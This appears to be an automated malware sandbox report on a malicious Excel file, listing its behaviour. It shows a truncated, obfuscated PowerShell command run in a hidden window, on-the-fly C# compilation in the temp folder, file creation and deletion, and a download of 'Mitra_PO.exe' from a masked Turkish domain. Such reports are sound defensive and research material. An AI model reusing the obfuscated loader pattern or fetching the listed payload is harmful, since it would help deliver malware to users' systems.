Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function dd4c7f { param($z469a4) $y8a9dc8 = 'z2d3167'; $ge4d64 = ''; for ($i = 0; $i -lt $z469a4.length; $i+=2) { $v89dc1a = [convert]::ToByte($z469a4.Substring($i, 2...
Modifies file system
Creates the following files
- %TEMP%\hkmjpbfp.0.cs
- %TEMP%\8t5ladzf.dll
- %TEMP%\res301b.tmp
- %TEMP%\csc2ffb.tmp
- %TEMP%\8t5ladzf.out
- %TEMP%\8t5ladzf.cmdline
- %TEMP%\8t5ladzf.0.cs
- %TEMP%\fi15lefr.dll
- %TEMP%\res1271.tmp
- %TEMP%\csc1261.tmp
- %TEMP%\fi15lefr.out
- %TEMP%\fi15lefr.cmdline
- %TEMP%\fi15lefr.0.cs
- %TEMP%\d9mjuixn.dll
- %TEMP%\resdb25.tmp
- %TEMP%\cscdb15.tmp
- %TEMP%\d9mjuixn.out
- %TEMP%\d9mjuixn.cmdline
- %TEMP%\d9mjuixn.0.cs
- %TEMP%\sgaj51e-.dll
- %TEMP%\resbbc6.tmp
- %TEMP%\hkmjpbfp.dll
- %TEMP%\resbb59.tmp
- %TEMP%\cscbbb5.tmp
- %TEMP%\cscbb48.tmp
- %TEMP%\sgaj51e-.out
- %TEMP%\sgaj51e-.cmdline
- %TEMP%\sgaj51e-.0.cs
- %TEMP%\hkmjpbfp.out
- %TEMP%\hkmjpbfp.cmdline
- %TEMP%\package.json
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{819173a2-31b0-4650-9eb9-f77372d38308}.tmp
Deletes the following files
- %TEMP%\resbb59.tmp
- %TEMP%\d9mjuixn.pdb
- %TEMP%\d9mjuixn.0.cs
- %TEMP%\res1271.tmp
- %TEMP%\csc1261.tmp
- %TEMP%\fi15lefr.pdb
- %TEMP%\fi15lefr.dll
- %TEMP%\fi15lefr.cmdline
- %TEMP%\8t5ladzf.cmdline
- %TEMP%\fi15lefr.0.cs
- %TEMP%\res301b.tmp
- %TEMP%\csc2ffb.tmp
- %TEMP%\8t5ladzf.out
- %TEMP%\8t5ladzf.0.cs
- %TEMP%\8t5ladzf.dll
- %TEMP%\d9mjuixn.out
- %TEMP%\fi15lefr.out
- %TEMP%\d9mjuixn.dll
- %TEMP%\resbbc6.tmp
- %TEMP%\cscbb48.tmp
- %TEMP%\hkmjpbfp.cmdline
- %TEMP%\hkmjpbfp.dll
- %TEMP%\hkmjpbfp.0.cs
- %TEMP%\hkmjpbfp.out
- %TEMP%\hkmjpbfp.pdb
- %TEMP%\cscbbb5.tmp
- %TEMP%\cscdb15.tmp
- %TEMP%\sgaj51e-.0.cs
- %TEMP%\sgaj51e-.out
- %TEMP%\sgaj51e-.pdb
- %TEMP%\sgaj51e-.cmdline
- %TEMP%\sgaj51e-.dll
- %TEMP%\resdb25.tmp
- %TEMP%\d9mjuixn.cmdline
- %TEMP%\8t5ladzf.pdb
Network activity
TCP
HTTP GET requests
- http://at#####letisim.com.tr/administrator/Mitra_PO.exe
UDP
- DNS ASK at#####letisim.com.tr
Miscellaneous
Creates and executes the following
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hkmjpbfp.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\sgaj51e-.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBB59.tmp" "%TEMP%\CSCBB48.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBBC6.tmp" "%TEMP%\CSCBBB5.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\d9mjuixn.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDB25.tmp" "%TEMP%\CSCDB15.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\fi15lefr.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1271.tmp" "%TEMP%\CSC1261.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\8t5ladzf.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES301B.tmp" "%TEMP%\CSC2FFB.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hkmjpbfp.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\sgaj51e-.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBB59.tmp" "%TEMP%\CSCBB48.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBBC6.tmp" "%TEMP%\CSCBBB5.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\d9mjuixn.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDB25.tmp" "%TEMP%\CSCDB15.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\fi15lefr.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1271.tmp" "%TEMP%\CSC1261.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\8t5ladzf.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES301B.tmp" "%TEMP%\CSC2FFB.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
